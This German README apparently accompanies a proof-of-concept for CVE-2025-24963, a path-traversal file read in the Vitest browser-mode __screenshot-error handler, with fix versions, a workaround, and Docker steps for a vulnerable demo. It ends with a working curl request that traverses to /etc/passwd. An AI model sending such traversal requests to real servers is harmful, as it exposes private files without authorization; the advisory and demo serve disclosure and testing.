
Proof-of-Concept-Exploit für CVE-2025-24963, eine lokale Dateileseschwachstelle im Vitest-Browsermodus über den __screenshot-error-Handler, die die Offenlegung beliebiger Dateien auf exponierten Servern ermöglicht.
CVE-2025-24963 ist eine Schwachstelle mittlerer Schwere (CVSS 3.1-Score: 5.9), die das Paket @vitest/browser betrifft, eine Komponente des auf Vite basierenden Vitest-Testframeworks. Diese Schwachstelle entsteht durch eine unzureichende Eingabevalidierung im __screenshot-error-Handler des HTTP-Servers des Browser-Modus. Wenn der Server über die Konfigurationsoption browser.api.host: true im Netzwerk freigegeben wird, kann ein Angreifer speziell gestaltete Anfragen senden, um auf beliebige Dateien im Dateisystem des Servers zuzugreifen, was möglicherweise zu einer unbefugten Offenlegung vertraulicher Informationen führt.
Die Schwachstelle betrifft die folgenden Versionen von @vitest/browser:
Dieses Problem wurde in den Versionen 2.1.9 und 3.0.4 behoben. Benutzer werden dringend aufgefordert, auf diese oder neuere Versionen zu aktualisieren, um die Schwachstelle zu entschärfen.
Wenn eine sofortige Aktualisierung nicht möglich ist, besteht eine temporäre Problemumgehung darin, den Server des Browser-Modus nicht im Netzwerk freizugeben, indem du browser.api.host: true nicht in deiner Konfiguration festlegst. Dadurch wird der externe Zugriff auf den anfälligen Handler verhindert.
git clone https://github.com/0xdeviner/CVE-2025-24963.git
cd CVE-2025-24963/vitest-vuln-demo
docker build -t vitest-cve-2025-24963 .
docker run -itd --name vitest-cve -p 63315:63315 vitest-cve-2025-24963
Hinweis: Der von Vitest verwendete Port ist dynamisch (z. B. 63315). Du solltest die Protokolle überwachen und dein -p-Flag entsprechend anpassen.
curl "http://<IP>:63315/__screenshot-error?file=../../../../../../etc/passwd"